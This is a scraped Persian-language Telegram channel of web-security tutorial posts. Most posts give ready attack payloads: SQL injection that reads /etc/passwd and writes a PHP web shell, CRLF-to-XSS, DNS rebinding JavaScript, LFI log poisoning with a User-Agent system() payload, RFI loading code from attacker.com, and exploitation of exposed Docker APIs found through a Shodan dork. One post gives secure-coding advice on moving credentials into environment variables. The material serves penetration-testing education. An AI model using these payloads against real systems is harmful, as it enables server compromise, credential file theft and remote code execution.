Web Application Security – Telegram
Web Application Security
1.8K subscribers
11 photos
1 video
2 files
37 links
Download Telegram
آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.
app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi
🔥29👍1
آسیب پذیری CRLF injection =

اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:

1. هر Header با Header بعدی با یک CRLF جدا میشود.
2. آخرین Header با Body با دو CRLF جدا میشود.
کاربردها:

1. سواستفاده از CRLF برای bypass کردن.
2. اکسپلویت سایر آسیب پذیری ها.
3. به وجود آوردن آسیب پذیری های مختلف‌.

1⃣ سواستفاده از CRLF برای bypass کردن:
اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript>
</noscript%0a>

2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)

3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:
app.php?username=salam%0d%0a%0d%0a<img src=x onerror=alert()>

نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.

#CRLF_injection
🔥25👍91
تکنیک Reverse MX lookup =

یکی از تکنیک هایی که برای wide recon استفاده میشه reverse mx lookup هست که ممکنه خطای زیادی هم داشته باشه. میتونیم با این کار همه ی دامنه هایی که از یک Mail server استفاده میکنند رو شناسایی کنیم و این احتمال وجود داره که بعضی از دامنه ها زیرمجموعه ی تارگت ما باشند.
میتونیم با دستور زیر MX رکورد دامنه رو به دست بیاریم:
dig MX +short walmart.com

و خروجی ما به این صورته:
10 mxa-000c7201.gslb.pphosted.com.
10 mxb-000c7201.gslb.pphosted.com.

و باید mxa-000c7201.gslb.pphosted.com رو تو سایت هایی که برای ما reverse mx lookup انجام میدن سرچ کنیم، که https://viewdns.info/reversemx/ یکی از سایت های خوب تو این زمینس.

#wide_recon
🔥5
Methodology

Reverse Proxy Testing

Abusing Hop Headers
Web Cache Poisoning
Web Cache Deception
HTTP Request Smuggling
H2C Smuggling
XSLT Server-Side Injection
Edge Side Inclusion (ESI) Injection
Host Header Poisoning
IP Address Spoofing


Cloud-Specific Testing
AWS S3 Bucket Misconfiguration
AWS CloudFront Misconfiguration
AWS IAM/STS Misconfiguration
AWS Elastic Beanstalk Misconfiguration
AWS API Gateway Misconfiguration
AWS Cognito Misconfiguration
AWS Exposed Sensitive DocumentDB
AWS EC2 Misconfiguration
AWS SNS Misconfiguration
AWS RDS Misconfiguration

Web Server Testing
Common Vulnerabilities and Exposures (CVE's)
Exposed Configuration Files
Server Side Includes (SSI) Injection
Information Disclosure


Domain Name System (DNS) Testing
DNS Rebinding
Subdomain Takeover


Global Application Config Testing
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
Dependency Confusion / Abuse
JSON Web Token (JWT) Misconfiguration
Missing Security Headers
Client-Side Codebase Testing
Content Injection
Reflected Cross-Site Scription (XSS)
Stored Cross-Site Scripting (XSS)
Blind Cross-Site Scripting (XSS)
Dangling Markup
Client-Side JavaScript Injection
Client-Side Prototype Pollution (CSPP)
DOM-Based Cross-Site Scription (XSS)
DOM-Based Open Redirect
Client-Side Template Injection (CSTI)
PostMessage Vulnerabilities
Information Disclosure
Privileged Credentials Exposed
Insecure Data Storage
Client-Side Denial of Service (DoS) / Breaking The DOM

Server-Side Codebase Testing
Command Injection
Code Injection
Insecure Deserialization
LDAP Injection
Server-Side Request Forgery (SSRF)
File Inclusion / Path Traversal
XPATH Injection
Unrestricted File Upload
Web Shell via File Upload
Server-Side Template Injection (SSTI)
Server-Side Prototype Pollution (SSPP)
XML External Entity (XXE)
WebSocket Injection



Database Operation Testing
SQL Injection
NoSQL Injection
GraphQL Injection
Denial of Service (DoS)
Information Disclosure

External Identity Access Management (IAM) Testing
OAuth Misconfiguration
Security Assertion Markup Language (SAML) Misconfiguration
Google Firebase IAM Misconfiguration
Keycloak IAM Misconfiguration
Application Logic Testing
Indirect Object Reference (IDOR)
Insufficient Access Controls
Bypass Access Controls
2FA/MFA Bypass
Captcha Bypass
Rate Limiting / Brute-force Protection Bypass
Bypass Registration Restrictions
Bypass Payment Process Restrictions
Bypass Authentication Restrictions
Bypass Password Reset Restrictions
Race Conditions
Username Enumeration



Public Repository & OSINT Testing
Internal Source Code on Public Repository
Internal/Privileged Credentials on Public GitHub Repository
Internal Source Code Found in Web Scraping
Internal/Privileged Credentials Found in Web Scraping

#Methodology
امنیت اپلیکیشن قسمت سوم =

نمونه کد زیر رو در نظر بگیرین:
<?php
$servername = "localhost";
$username = "root";
$password = "pa@@w0rd";
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed"); mysqli_connect_error());
}
echo "Connected successfully";
?>

بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
<?php
$servername = "localhost";
$username = "root";
$password = getenv('DB_PASSWORD');
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Database connection failed.");
}
echo "Connected successfully";
mysqli_close($conn);
?>

در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
آیا ممکنه environment variable های سامانه افشا بشه؟
بله. به غیر از آسیب پذیری هایی مثل RCE و Command injection، آسیب پذیری دیگه ای هم وجود داره که میتونه منجر به افشای environment variable های سامانه بشه که در آینده بهش اشاره میکنیم. اما احتمال وجود این آسیب پذیری از stack trace error و افشای source code خیلی کمتره پس این روش امنیت بیشتری از روش سنتی داره.

#application_security
👍2
آسیب پذیری DNS Rebinding =

قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.


⁉️حالا DNS Rebinding چی هست؟

یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.

1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.
اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.

مراحل DNS rebinding برای بایپس SSRF :
1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.

حالا اینو چطور انجامش بدیم؟

میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
https://lock.cmpxchg8b.com/rebinder.html

#DNS_Rebinding
1
2️⃣ استفاده از DNS Rebinding برای بایپس SOP :

طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.

فلوی بایپس SOP با DNS Rebinding :
1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.

function attemptRequest() {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://attacker.com/sensitive_information_path`, true);
xhr.onload = function () {
console.log('Response:', xhr.responseText);
};
xhr.onerror = function () {
console.log('Request failed');
};
xhr.send();
}
setTimeout(attemptRequest, 5000);

کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر sensitive_information_path به 192.168.1.20 ارسال میکنه که حاوی اطلاعات حیاتی این سرویس هست و هکر میتونه این اطلاعات رو با XHR برای سرور خودش ارسال کنه. اگه DNS rebinding با موفقیت انجام بشه دیگه cross origin نیستیم و same origin هستیم.

چند تا نکته مهم :
1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.
⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)

#DNS_Rebinding
Docker Exploit =

داکر deamon یه سرویس برای مدیریت image و container های داکر هست.
برای برقراری ارتباط با docker deamon میتونیم از docker api استفاده کنیم که روی پورت 2376/2375 کار میکنه.
پس اگه این API فعال باشه و هیچ authenticationی نداشته باشه میتونیم ازش دسترسی بگیریم.
دورک shodan برای پیدا کردن docker API ها:
product:"docker" port:"2375" 

با دستور زیر بهش وصل میشیم و لیست container هارو به دست میاریم:
docker -H 127.0.0.1:2375 ps -a 

با دستور exec -I میتونیم روی container مدنظر دستورهای خودمون رو اجرا کنیم (در صورتی که container فعال باشه و پسورد نداشته باشه):
docker -H 127.0.0.1:2375 exec -i [CONTAINER-ID] [COMMAND] 

در نهایت دسترسی command execution خواهیم داشت!
#docker
🔥3
API Fuzzing Tips =

معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه‌.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action

#API_fuzzing
1⃣ آسیب پذیری LFI =

وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.

2⃣ آسیب پذیری path/Directory traversal =

مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.

3⃣ پس LFI همون path/Directory traversal هست

در صورتی که خیلی از منابع معتبر این دوتا رو یکی میدونن، این دوتا آسیب پذیری های متفاوتی هستند. در path/Directory traversal فقط میتونیم بین فایل ها و دایرکتوری های مختلف حرکت کنیم. اما در LFI علاوه بر مورد قبلی، تابع آسیب پذیر قابلیت اجرایی دارد. فرضا اگر فایلی حاوی تکه کد مخرب که با زبان برنامه نویسی سمت backend نوشته شده به عنوان ورودی به تابع آسیب پذیر داده شود اون کد اجرا خواهد شد. به این تکنیک تو LFI میگن log poisoning.
4⃣ توضیح کامل آسیب پذیری LFI =

شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd


5⃣ استفاده از Wrapper ها =

در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه.

6⃣ تبدیل LFI به RCE =

روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU

1⃣6⃣ تکنیک Log Poisoning :

بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.

7⃣ آسیب پذیری RFI =

تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt


اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.

1⃣7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه

خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.

#LFI
#RFI
#Path_traversal
#Directory_traversal
2
403 Bypass Tips =

یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :
X-Forwarded-For: 127.0.0.1

حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf
👍19
اگه میخواین با استفاده از google dork بتونین subdomain enumeration انجام بدین به صورت ابزاری، یه الگوریتم پیشنهادی دارم براتون.
اول اینکه میدونیم به صورت دستی چطور باید اینکارو انجام بدیم :
site:*.microsoft.com -www

و -www هم یعنی دیگه نشونش نده.
حالا باید ببینین چند تب دیتا از تارگت شما تو گوگل هست.
https://www.google.com/search?q=-www+site%3A*.microsoft.com&start=394

متغیر start رو باید روی بیشترین عددی که ساب دامنه میده بهتون تنظیم کنین.
از صفحه ی اول که startاش با 1 شروع میشه شروع میکنین به بیرون کشیدن ساب دامنه ها طبق این الگو :
1. همه ی تگ های a رو بیرون میکشین از سورس کد.
2. همه ی href هارو از تگ های a بیرون میکشین.
3. اون مقدار هایی که شروعشون با http:// یا https:// نیست رو اسکیپ میکنین.
4. یه سری آدرس هارو ازش جدا میکنین که همیشه ثابتن مثل اینا
https://www.google.com
https://accounts.google.com

5. هرچی باقی مونده میشه ساب دامنه و باید ذخیره بشن داخل 2 تا فایل subdomains.txt و words.txt
6. فایل words.txt رو که حاوی اطلاعاتی مثل اینه :
https://test.microsoft.com/path

با یک تابع به test تبدیل میکنیم که فقط ساب دامنه رو داشته باشیم بدون دامنه و پروتکل و مسیر.
7. یه حلقه روی words.txt زده میشه و به هر ساب دامنه یدونه -+ اضافه میشه که نتیجه به صورت بشه :
+-test+-web+-dev

8. حالا متغیر start باید 2 بشه و کنارش از مقدار های بالا استفاده میکنیم که دیگه این ساب دامنه هارو بهمون نشون نده.
https://www.google.com/search?q=-www+site%3A*.microsoft.com+-test+-web+-dev&start=2

9. از مرحله 1 همه چی رو تکرار میکنیم.
نکته : وقتی تعداد ساب دامنه های words.txt به 32 عدد رسید دیگه بهش چیزی اضافه نمیکنیم. چراکه گوگل اجازه نمیده بیشتر از 32 تا ساب دامنه رو فیلتر کنیم. پس با همون فیلتر 32 جلو میریم و هر موقع تو صفحه خروج ای نبود یعنی همه ی ساب دامنه هارو به دست آوردیم. متغیر start احتمال 99 درصد به 394 نمیرسه چون از فیلتر استفاده کردیم.
10. باید subdomains.txt رو sort کنین و مسیر ها و اطلاعات اضافه رو پاک کنین ازش.

ابزاری که خودم برای اینکار نوشتم به عنوان یه ماژول داخل یه پروژه نسبتا بزرگه که وابستگی زیادی بهش داره و نمیتونم به صورت جداگانه سورسشو براتون بزارم.
اگه کسی کدشو نوشت بهم بگه تو کانالم بزارم بقیه هم استفاده کنن.

#google_dork
👍145🔥1